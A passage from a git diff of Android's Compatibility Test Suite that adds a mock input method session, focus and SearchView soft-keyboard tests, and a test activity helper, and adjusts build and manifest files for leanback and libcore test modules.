+            recordEventInternal("onFinishInput", runnable);
+        }
+
+        public void onDestroy(@NonNull Runnable runnable) {
+            recordEventInternal("onDestroy", runnable);
+        }
+
+        public void attachToken(IBinder token, @NonNull Runnable runnable) {
+            final Bundle arguments = new Bundle();
+            arguments.putBinder("token", token);
+            recordEventInternal("attachToken", runnable, arguments);
+
+        }
+
+        public void bindInput(InputBinding binding, @NonNull Runnable runnable) {
+            final Bundle arguments = new Bundle();
+            arguments.putParcelable("binding", binding);
+            recordEventInternal("bindInput", runnable, arguments);
+        }
+
+        public void unbindInput(@NonNull Runnable runnable) {
+            recordEventInternal("unbindInput", runnable);
+        }
+
+        public void showSoftInput(int flags, ResultReceiver resultReceiver,
+                @NonNull Runnable runnable) {
+            final Bundle arguments = new Bundle();
+            arguments.putInt("flags", flags);
+            arguments.putParcelable("resultReceiver", resultReceiver);
+            recordEventInternal("showSoftInput", runnable, arguments);
+        }
+
+        public void hideSoftInput(int flags, ResultReceiver resultReceiver,
+                @NonNull Runnable runnable) {
+            final Bundle arguments = new Bundle();
+            arguments.putInt("flags", flags);
+            arguments.putParcelable("resultReceiver", resultReceiver);
+            recordEventInternal("hideSoftInput", runnable, arguments);
+        }
+
+        public AbstractInputMethodImpl onCreateInputMethodInterface(
+                @NonNull Supplier<AbstractInputMethodImpl> supplier) {
+            return recordEventInternal("onCreateInputMethodInterface", supplier);
+        }
+    }
+}
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
new file mode 100644
index 0000000..ea6b465
--- /dev/null
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
@@ -0,0 +1,284 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.mockime;
+
+import static android.content.Context.MODE_PRIVATE;
+import static android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_DISABLED;
+import static android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_ENABLED;
+import static android.content.pm.PackageManager.DONT_KILL_APP;
+
+import android.app.UiAutomation;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.Parcel;
+import android.os.ParcelFileDescriptor;
+import android.os.SystemClock;
+import android.provider.Settings;
+import android.support.annotation.GuardedBy;
+import android.support.annotation.NonNull;
+import android.support.annotation.Nullable;
+import android.text.TextUtils;
+import android.view.inputmethod.InputMethodManager;
+
+import com.android.compatibility.common.util.PollingCheck;
+
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.io.OutputStream;
+import java.nio.charset.StandardCharsets;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Represents an active Mock IME session, which provides basic primitives to write end-to-end tests
+ * for IME APIs.
+ *
+ * <p>To use {@link MockIme} via {@link MockImeSession}, you need to </p>
+ * <p>Public methods are not thread-safe.</p>
+ */
+public class MockImeSession implements AutoCloseable {
+    private final String mImeEventActionName =
+            "com.android.cts.mockime.action.IME_EVENT." + SystemClock.elapsedRealtimeNanos();
+
+    /** Setting file name to store initialization settings for {@link MockIme}. */
+    static final String MOCK_IME_SETTINGS_FILE = "mockimesettings.data";
+
+    private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(10);
+
+    @NonNull
+    private final Context mContext;
+
+    private final HandlerThread mHandlerThread = new HandlerThread("EventReceiver");
+
+    private final static class EventStore {
+        private final static int INITIAL_ARRAY_SIZE = 32;
+
+        @NonNull
+        public final ImeEvent[] mArray;
+        public int mLength;
+
+        public EventStore() {
+            mArray = new ImeEvent[INITIAL_ARRAY_SIZE];
+            mLength = 0;
+        }
+
+        public EventStore(EventStore src, int newLength) {
+            mArray = new ImeEvent[newLength];
+            mLength = src.mLength;
+            System.arraycopy(src.mArray, 0, mArray, 0, src.mLength);
+        }
+
+        public EventStore add(ImeEvent event) {
+            if (mLength + 1 <= mArray.length) {
+                mArray[mLength] = event;
+                ++mLength;
+                return this;
+            } else {
+                return new EventStore(this, mLength * 2).add(event);
+            }
+        }
+
+        public ImeEventStream.ImeEventArray takeSnapshot() {
+            return new ImeEventStream.ImeEventArray(mArray, mLength);
+        }
+    }
+
+    private static final class MockImeEventReceiver extends BroadcastReceiver {
+        private final Object mLock = new Object();
+
+        @GuardedBy("mLock")
+        @NonNull
+        private EventStore mCurrentEventStore = new EventStore();
+
+        @NonNull
+        private final String mActionName;
+
+        public MockImeEventReceiver(@NonNull String actionName) {
+            mActionName = actionName;
+        }
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            if (TextUtils.equals(mActionName, intent.getAction())) {
+                synchronized (mLock) {
+                    mCurrentEventStore =
+                            mCurrentEventStore.add(ImeEvent.fromBundle(intent.getExtras()));
+                }
+            }
+        }
+
+        public ImeEventStream.ImeEventArray takeEventSnapshot() {
+            synchronized (mLock) {
+                return mCurrentEventStore.takeSnapshot();
+            }
+        }
+    }
+    private final MockImeEventReceiver mEventReceiver =
+            new MockImeEventReceiver(mImeEventActionName);
+
+    private final ImeEventStream mEventStream =
+            new ImeEventStream(mEventReceiver::takeEventSnapshot);
+
+    private static String executeShellCommand(
+            @NonNull UiAutomation uiAutomation, @NonNull String command) {
+        try (ParcelFileDescriptor.AutoCloseInputStream in =
+                     new ParcelFileDescriptor.AutoCloseInputStream(
+                             uiAutomation.executeShellCommand(command))) {
+            try (BufferedReader br =
+                         new BufferedReader(new InputStreamReader(in, StandardCharsets.UTF_8))) {
+                final String line = br.readLine();
+                return line != null ? line.trim() : "";
+            }
+        } catch (IOException e) {
+            return "";
+        }
+    }
+
+    @Nullable
+    private String getCurrentInputMethodId() {
+        // TODO: Replace this with IMM#getCurrentInputMethodIdForTesting()
+        return Settings.Secure.getString(mContext.getContentResolver(),
+                Settings.Secure.DEFAULT_INPUT_METHOD);
+    }
+
+    @Nullable
+    private static void writeMockImeSettings(@NonNull Context context,
+            @NonNull String imeEventActionName,
+            @Nullable ImeSettings.Builder imeSettings) throws Exception {
+        context.deleteFile(MOCK_IME_SETTINGS_FILE);
+        try (OutputStream os = context.openFileOutput(MOCK_IME_SETTINGS_FILE, MODE_PRIVATE)) {
+            Parcel parcel = null;
+            try {
+                parcel = Parcel.obtain();
+                ImeSettings.writeToParcel(parcel, imeEventActionName, imeSettings);
+                os.write(parcel.marshall());
+            } finally {
+                if (parcel != null) {
+                    parcel.recycle();
+                }
+            }
+            os.flush();
+        }
+    }
+
+    private ComponentName getMockImeComponentName() {
+        return MockIme.getComponentName(mContext.getPackageName());
+    }
+
+    private String getMockImeId() {
+        return MockIme.getImeId(mContext.getPackageName());
+    }
+
+    private MockImeSession(Context context) {
+        mContext = context;
+    }
+
+    private void initialize(@NonNull UiAutomation uiAutomation,
+            @Nullable ImeSettings.Builder imeSettings) throws Exception {
+        // Make sure that MockIME is not selected.
+        mContext.getPackageManager().setComponentEnabledSetting(getMockImeComponentName(),
+                COMPONENT_ENABLED_STATE_DISABLED, DONT_KILL_APP);
+
+        PollingCheck.check("Make sure that MockIME becomes unavailable", TIMEOUT, () ->
+                mContext.getSystemService(InputMethodManager.class)
+                        .getInputMethodList()
+                        .stream()
+                        .noneMatch(info -> getMockImeComponentName().equals(info.getComponent())));
+
+        writeMockImeSettings(mContext, mImeEventActionName, imeSettings);
+
+        mHandlerThread.start();
+        mContext.registerReceiver(mEventReceiver,
+                new IntentFilter(mImeEventActionName), null /* broadcastPermission */,
+                new Handler(mHandlerThread.getLooper()));
+
+        // Enable MockIME
+        mContext.getPackageManager().setComponentEnabledSetting(
+                getMockImeComponentName(), COMPONENT_ENABLED_STATE_ENABLED, DONT_KILL_APP);
+
+        PollingCheck.check("Wait until the Mock IME is recognized by the IMMS again",
+                TIMEOUT,
+                () -> mContext.getSystemService(InputMethodManager.class)
+                        .getInputMethodList()
+                        .stream()
+                        .anyMatch(info -> getMockImeComponentName().equals(info.getComponent())));
+
+        executeShellCommand(uiAutomation, "ime enable " + getMockImeId());
+        executeShellCommand(uiAutomation, "ime set " + getMockImeId());
+
+        PollingCheck.check("Make sure that MockIME becomes available", TIMEOUT,
+                () -> getMockImeId().equals(getCurrentInputMethodId()));
+    }
+
+    /**
+     * Creates a new Mock IME session. During this session, you can receive various events from
+     * {@link MockIme}.
+     *
+     * @param context {@link Context} to be used to receive inter-process events from the
+     *                {@link MockIme} (e.g. via {@link BroadcastReceiver}
+     * @param uiAutomation {@link UiAutomation} object to change the device state that are typically
+     *                     guarded by permissions.
+     * @param imeSettings Key-value pairs to be passed to the {@link MockIme}.
+     * @return A session object, with which you can retrieve event logs from the {@link MockIme} and
+     *         can clean up the session.
+     */
+    @NonNull
+    public static MockImeSession create(
+            @NonNull Context context,
+            @NonNull UiAutomation uiAutomation,
+            @Nullable ImeSettings.Builder imeSettings) throws Exception {
+        final MockImeSession client = new MockImeSession(context);
+        client.initialize(uiAutomation, imeSettings);
+        return client;
+    }
+
+    /**
+     * @return {@link ImeEventStream} object that stores events sent from {@link MockIme} since the
+     *         session is created.
+     */
+    public ImeEventStream openEventStream() {
+        return mEventStream.copy();
+    }
+
+    /**
+     * Closes the active session and de-selects {@link MockIme}. Currently which IME will be
+     * selected next is up to the system.
+     */
+    public void close() throws Exception {
+        final ComponentName mockImeComponent = MockIme.getComponentName(mContext.getPackageName());
+
+        // Kill Mock IME process
+        // TODO: Add a new Test API to make which IME will be selected next deterministic.
+        mContext.getPackageManager().setComponentEnabledSetting(
+                mockImeComponent, COMPONENT_ENABLED_STATE_DISABLED, DONT_KILL_APP);
+
+        PollingCheck.check("Make sure that MockIME becomes unavailable", TIMEOUT, () ->
+                mContext.getSystemService(InputMethodManager.class)
+                        .getInputMethodList()
+                        .stream()
+                        .noneMatch(info -> getMockImeComponentName().equals(info.getComponent())));
+
+        mContext.unregisterReceiver(mEventReceiver);
+        mHandlerThread.quitSafely();
+        mContext.deleteFile(MOCK_IME_SETTINGS_FILE);
+    }
+}
diff --git a/tests/inputmethod/res/xml/method.xml b/tests/inputmethod/res/xml/method.xml
new file mode 100644
index 0000000..2266fba
--- /dev/null
+++ b/tests/inputmethod/res/xml/method.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright (C) 2017 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+-->
+
+<input-method xmlns:android="http://schemas.android.com/apk/res/android">
+</input-method>
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/ExtractedTextTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/ExtractedTextTest.java
index 41e3efa..9b03ed7 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/ExtractedTextTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/ExtractedTextTest.java
@@ -18,9 +18,14 @@
 
 import static org.junit.Assert.assertEquals;
 
+import android.graphics.Typeface;
 import android.os.Parcel;
 import android.support.test.filters.SmallTest;
 import android.support.test.runner.AndroidJUnit4;
+import android.text.Spannable;
+import android.text.SpannableStringBuilder;
+import android.text.Spanned;
+import android.text.style.StyleSpan;
 import android.view.inputmethod.ExtractedText;
 
 import org.junit.Test;
@@ -38,6 +43,9 @@
         extractedText.startOffset = 1;
         CharSequence text = "test";
         extractedText.text = text;
+        SpannableStringBuilder hint = new SpannableStringBuilder("hint");
+        hint.setSpan(new StyleSpan(Typeface.BOLD), 1, 3, Spanned.SPAN_INCLUSIVE_INCLUSIVE);
+        extractedText.hint = hint;
         Parcel p = Parcel.obtain();
         extractedText.writeToParcel(p, 0);
         p.setDataPosition(0);
@@ -49,6 +57,9 @@
         assertEquals(extractedText.partialStartOffset, target.partialStartOffset);
         assertEquals(extractedText.partialEndOffset, target.partialEndOffset);
         assertEquals(extractedText.text.toString(), target.text.toString());
+        assertEquals(extractedText.hint.toString(), target.hint.toString());
+        final Spannable hintText = (Spannable) extractedText.hint;
+        assertEquals(1, hintText.getSpans(0, hintText.length(), StyleSpan.class).length);
 
         assertEquals(0, extractedText.describeContents());
     }
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
new file mode 100644
index 0000000..dea9b3d
--- /dev/null
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
@@ -0,0 +1,115 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.inputmethod.cts;
+
+import static com.android.cts.mockime.ImeEventStreamTestUtils.expectBindInput;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.notExpectEvent;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.pm.PackageManager;
+import android.os.Process;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.text.TextUtils;
+import android.view.inputmethod.EditorInfo;
+import android.view.inputmethod.cts.util.TestActivity;
+import android.widget.EditText;
+import android.widget.LinearLayout;
+
+import com.android.compatibility.common.util.CtsTouchUtils;
+import com.android.cts.mockime.ImeEvent;
+import com.android.cts.mockime.ImeEventStream;
+import com.android.cts.mockime.ImeSettings;
+import com.android.cts.mockime.MockImeSession;
+
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicReference;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class FocusHandlingTest {
+    static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
+    static final long NOT_EXPECT_TIMEOUT = TimeUnit.SECONDS.toMillis(1);
+
+    private final static String TEST_MARKER = "android.view.inputmethod.cts.FocusHandlingTest";
+
+    @BeforeClass
+    public static void setUpClass() {
+        assumeTrue("MockIme cannot be used for devices that do not support installable IMEs",
+                InstrumentationRegistry.getContext().getPackageManager().hasSystemFeature(
+                        PackageManager.FEATURE_INPUT_METHODS));
+    }
+
+    public EditText launchTestActivity() {
+        final AtomicReference<EditText> editTextRef = new AtomicReference<>();
+        TestActivity.startSync((TestActivity activity) -> {
+            final LinearLayout layout = new LinearLayout(activity);
+            layout.setOrientation(LinearLayout.VERTICAL);
+
+            final EditText editText = new EditText(activity);
+            editText.setPrivateImeOptions(TEST_MARKER);
+            editText.setHint("editText");
+            editTextRef.set(editText);
+
+            layout.addView(editText);
+            return layout;
+        });
+        return editTextRef.get();
+    }
+
+    @Test
+    public void testOnStartInputCalledOnceIme() throws Exception {
+        try(MockImeSession imeSession = MockImeSession.create(
+                InstrumentationRegistry.getContext(),
+                InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+                new ImeSettings.Builder())) {
+            final ImeEventStream stream = imeSession.openEventStream();
+
+            final EditText editText = launchTestActivity();
+
+            // Wait until the MockIme gets bound to the TestActivity.
+            expectBindInput(stream, Process.myPid(), TIMEOUT);
+
+            // Emulate tap event
+            CtsTouchUtils.emulateTapOnViewCenter(
+                    InstrumentationRegistry.getInstrumentation(), editText);
+
+            // Wait until "onStartInput" gets called for the EditText.
+            final ImeEvent onStart = expectEvent(stream, event -> {
+                if (!TextUtils.equals("onStartInput", event.getEventName())) {
+                    return false;
+                }
+                final EditorInfo editorInfo = event.getArguments().getParcelable("editorInfo");
+                return TextUtils.equals(TEST_MARKER, editorInfo.privateImeOptions);
+            }, TIMEOUT);
+            assertFalse(stream.dump(), onStart.getEnterState().hasDummyInputConnection());
+            assertFalse(stream.dump(), onStart.getArguments().getBoolean("restarting"));
+
+            // There shouldn't be onStartInput any more.
+            notExpectEvent(stream, event -> "onStartInput".equals(event.getEventName()),
+                    NOT_EXPECT_TIMEOUT);
+        }
+    }
+}
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/SearchViewTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/SearchViewTest.java
new file mode 100644
index 0000000..4cef44f
--- /dev/null
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/SearchViewTest.java
@@ -0,0 +1,112 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.inputmethod.cts;
+
+import static com.android.cts.mockime.ImeEventStreamTestUtils.expectBindInput;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.content.pm.PackageManager;
+import android.os.Process;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.text.InputType;
+import android.view.inputmethod.EditorInfo;
+import android.view.inputmethod.cts.util.TestActivity;
+import android.widget.EditText;
+import android.widget.LinearLayout;
+import android.widget.SearchView;
+
+import com.android.compatibility.common.util.CtsTouchUtils;
+import com.android.cts.mockime.ImeEventStream;
+import com.android.cts.mockime.ImeSettings;
+import com.android.cts.mockime.MockImeSession;
+
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicReference;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class SearchViewTest {
+    static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
+
+    @BeforeClass
+    public static void setUpClass() {
+        assumeTrue("MockIme cannot be used for devices that do not support installable IMEs",
+                InstrumentationRegistry.getContext().getPackageManager().hasSystemFeature(
+                        PackageManager.FEATURE_INPUT_METHODS));
+    }
+
+    public SearchView launchTestActivity() {
+        final AtomicReference<SearchView> searchViewRef = new AtomicReference<>();
+        TestActivity.startSync((TestActivity activity) -> {
+            final LinearLayout layout = new LinearLayout(activity);
+            layout.setOrientation(LinearLayout.VERTICAL);
+
+            final EditText initialFocusedEditText = new EditText(activity);
+            initialFocusedEditText.setHint("initialFocusedTextView");
+
+            final SearchView searchView = new SearchView(activity);
+            searchViewRef.set(searchView);
+
+            searchView.setQueryHint("hint");
+            searchView.setIconifiedByDefault(false);
+            searchView.setInputType(InputType.TYPE_TEXT_FLAG_CAP_SENTENCES);
+            searchView.setImeOptions(EditorInfo.IME_ACTION_DONE);
+
+            layout.addView(initialFocusedEditText);
+            layout.addView(searchView);
+            return layout;
+        });
+        return searchViewRef.get();
+    }
+
+    @Test
+    public void testTapThenSetQuery() throws Exception {
+        try(MockImeSession imeSession = MockImeSession.create(
+                InstrumentationRegistry.getContext(),
+                InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+                new ImeSettings.Builder())) {
+            final ImeEventStream stream = imeSession.openEventStream();
+
+            final SearchView searchView = launchTestActivity();
+
+            // Wait until the MockIme gets bound to the TestActivity.
+            expectBindInput(stream, Process.myPid(), TIMEOUT);
+
+            // Emulate tap event
+            CtsTouchUtils.emulateTapOnViewCenter(
+                    InstrumentationRegistry.getInstrumentation(), searchView);
+
+            // Wait until "showSoftInput" gets called with a real InputConnection
+            expectEvent(stream, event ->
+                    "showSoftInput".equals(event.getEventName())
+                            && !event.getExitState().hasDummyInputConnection(), TIMEOUT);
+
+            // Make sure that "setQuery" triggers "hideSoftInput" in the IME side.
+            InstrumentationRegistry.getInstrumentation().runOnMainSync(
+                    () -> searchView.setQuery("test", true /* submit */));
+            expectEvent(stream, event -> "hideSoftInput".equals(event.getEventName()), TIMEOUT);
+        }
+    }
+}
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/util/TestActivity.java b/tests/inputmethod/src/android/view/inputmethod/cts/util/TestActivity.java
new file mode 100644
index 0000000..7f3cd63
--- /dev/null
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/util/TestActivity.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.view.inputmethod.cts.util;
+
+import android.annotation.NonNull;
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.support.test.InstrumentationRegistry;
+import android.view.View;
+
+import java.util.concurrent.atomic.AtomicReference;
+import java.util.function.Function;
+
+public final class TestActivity extends Activity {
+
+    private static final AtomicReference<Function<TestActivity, View>> sInitializer =
+            new AtomicReference<>();
+
+    private Function<TestActivity, View> mInitializer = null;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        if (mInitializer == null) {
+            mInitializer = sInitializer.get();
+            sInitializer.set(null);
+        }
+        setContentView(mInitializer.apply(this));
+    }
+
+    /**
+     * Launches {@link TestActivity} with the given initialization logic for content view.
+     *
+     * <p>As long as you are using {@link android.support.test.runner.AndroidJUnitRunner}, the test
+     * runner automatically calls {@link Activity#finish()} for the {@link Activity} launched when
+     * the test finished.  You do not need to explicitly call {@link Activity#finish()}.</p>
+     *
+     * @param activityInitializer An initializer to supply {@link View} to be passed to
+     *                           {@link Activity#setContentView(View)}
+     * @return {@link TestActivity} launched
+     */
+    public static TestActivity startSync(
+            @NonNull Function<TestActivity, View> activityInitializer) {
+        sInitializer.set(activityInitializer);
+        final Intent intent = new Intent()
+                .setAction(Intent.ACTION_MAIN)
+                .setClass(InstrumentationRegistry.getContext(), TestActivity.class)
+                .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+                .addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+        return (TestActivity) InstrumentationRegistry
+                .getInstrumentation().startActivitySync(intent);
+    }
+}
diff --git a/tests/leanbackjank/Android.mk b/tests/leanbackjank/Android.mk
index ec114f3..246cf5e 100644
--- a/tests/leanbackjank/Android.mk
+++ b/tests/leanbackjank/Android.mk
@@ -33,9 +33,6 @@
     ctstestrunner \
     ub-uiautomator \
     ub-janktesthelper \
-    android-support-v17-leanback \
-    android-support-v7-recyclerview \
-    android-support-v4 \
     legacy-android-test
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/leanbackjank/app/Android.mk b/tests/leanbackjank/app/Android.mk
index 3fc685d..04c3d3f 100644
--- a/tests/leanbackjank/app/Android.mk
+++ b/tests/leanbackjank/app/Android.mk
@@ -27,25 +27,21 @@
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
-LOCAL_RESOURCE_DIR := \
-    $(TOP)/frameworks/support/v17/leanback/res \
-    $(TOP)/frameworks/support/v7/recyclerview/res \
-    $(LOCAL_PATH)/res
+LOCAL_USE_AAPT2 := true
+
+LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     compatibility-device-util \
     ctstestrunner \
     ub-uiautomator \
     ub-janktesthelper \
-    android-support-v4 \
-    android-support-v7-recyclerview \
-    android-support-v17-leanback \
     glide
 
-LOCAL_AAPT_FLAGS := \
-        --auto-add-overlay \
-        --extra-packages android.support.v17.leanback \
-        --extra-packages android.support.v7.recyclerview
+LOCAL_STATIC_ANDROID_LIBRARIES := \
+    android-support-v4 \
+    android-support-v7-recyclerview \
+    android-support-v17-leanback
 
 LOCAL_PROGUARD_FLAG_FILES := proguard.flags
 
diff --git a/tests/libcore/jsr166/AndroidManifest.xml b/tests/libcore/jsr166/AndroidManifest.xml
index baae488..5fd3f6e 100644
--- a/tests/libcore/jsr166/AndroidManifest.xml
+++ b/tests/libcore/jsr166/AndroidManifest.xml
@@ -22,6 +22,9 @@
 
     <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.libcore.cts.jsr166"
-                     android:label="CTS Libcore JSR166 test cases" />
+                     android:label="CTS Libcore JSR166 test cases">
+        <meta-data android:name="listener"
+                   android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
 
 </manifest>
diff --git a/tests/libcore/jsr166/AndroidTest.xml b/tests/libcore/jsr166/AndroidTest.xml
index 2a3e5d2..0c67705 100644
--- a/tests/libcore/jsr166/AndroidTest.xml
+++ b/tests/libcore/jsr166/AndroidTest.xml
@@ -27,8 +27,6 @@
     </target_preparer>
     <test class="com.android.compatibility.testtype.LibcoreTest" >
         <option name="package" value="android.libcore.cts.jsr166" />
-        <option name="instrumentation-arg" key="listener"
-                value="com.android.cts.runner.CtsTestRunListener" />
         <option name="instrumentation-arg" key="filter"
                 value="com.android.cts.core.runner.ExpectationBasedFilter" />
         <option name="core-expectation" value="/knownfailures.txt" />
diff --git a/tests/libcore/luni/AndroidManifest.xml b/tests/libcore/luni/AndroidManifest.xml
index 0389be6..4df4b93 100644
--- a/tests/libcore/luni/AndroidManifest.xml
+++ b/tests/libcore/luni/AndroidManifest.xml
@@ -23,6 +23,9 @@
 
     <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.libcore.cts"
-                     android:label="CTS Libcore test cases" />
+                     android:label="CTS Libcore test cases">
+        <meta-data android:name="listener"
+                   android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
 
 </manifest>
diff --git a/tests/libcore/luni/AndroidTest.xml b/tests/libcore/luni/AndroidTest.xml
index a8c4142..fa1c9cc 100644
--- a/tests/libcore/luni/AndroidTest.xml
+++ b/tests/libcore/luni/AndroidTest.xml
@@ -27,8 +27,6 @@
     </target_preparer>
     <test class="com.android.compatibility.testtype.LibcoreTest" >
         <option name="package" value="android.libcore.cts" />
-        <option name="instrumentation-arg" key="listener"
-                value="com.android.cts.runner.CtsTestRunListener" />
         <option name="instrumentation-arg" key="filter"
                 value="com.android.cts.core.runner.ExpectationBasedFilter" />
         <option name="core-expectation" value="/knownfailures.txt" />
diff --git a/tests/libcore/ojluni/AndroidManifest.xml b/tests/libcore/ojluni/AndroidManifest.xml
index c010a32..8c45c30 100644
--- a/tests/libcore/ojluni/AndroidManifest.xml
+++ b/tests/libcore/ojluni/AndroidManifest.xml
@@ -21,6 +21,9 @@
     <!-- important: instrument another package which actually contains AJUR -->
     <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.libcore.runner"
-                     android:label="CTS Libcore OJ test cases" />
+                     android:label="CTS Libcore OJ test cases">
+        <meta-data android:name="listener"
+                   android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
 
 </manifest>
diff --git a/tests/libcore/ojluni/AndroidTest.xml b/tests/libcore/ojluni/AndroidTest.xml
index 1cebd4e..2b7ae29 100644
--- a/tests/libcore/ojluni/AndroidTest.xml
+++ b/tests/libcore/ojluni/AndroidTest.xml
@@ -22,7 +22,7 @@
     </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
-        <!-- this has the CoreTestRunner which needs to be in a separate APK -->
+        <!-- this has the AJUR which needs to be in a separate APK -->
         <option name="test-file-name" value="CtsLibcoreTestRunner.apk" />
         <!-- this has just the instrumentation which acts as the tests we want to run -->
         <option name="test-file-name" value="CtsLibcoreOjTestCases.apk" />
@@ -31,8 +31,6 @@
         <option name="package" value="android.libcore.cts.oj" />
         <option name="instrumentation-arg" key="runnerBuilder"
                 value="com.android.cts.core.runner.support.TestNgRunnerBuilder"/>
-        <option name="instrumentation-arg" key="listener"
-                value="com.android.cts.runner.CtsTestRunListener"/>
         <option name="instrumentation-arg" key="filter"
                 value="com.android.cts.core.runner.ExpectationBasedFilter" />
         <option name="core-expectation" value="/knownfailures.txt" />
diff --git a/tests/libcore/okhttp/AndroidManifest.xml b/tests/libcore/okhttp/AndroidManifest.xml
index 151fda9..dfff563 100644
--- a/tests/libcore/okhttp/AndroidManifest.xml
+++ b/tests/libcore/okhttp/AndroidManifest.xml
@@ -17,12 +17,15 @@
 
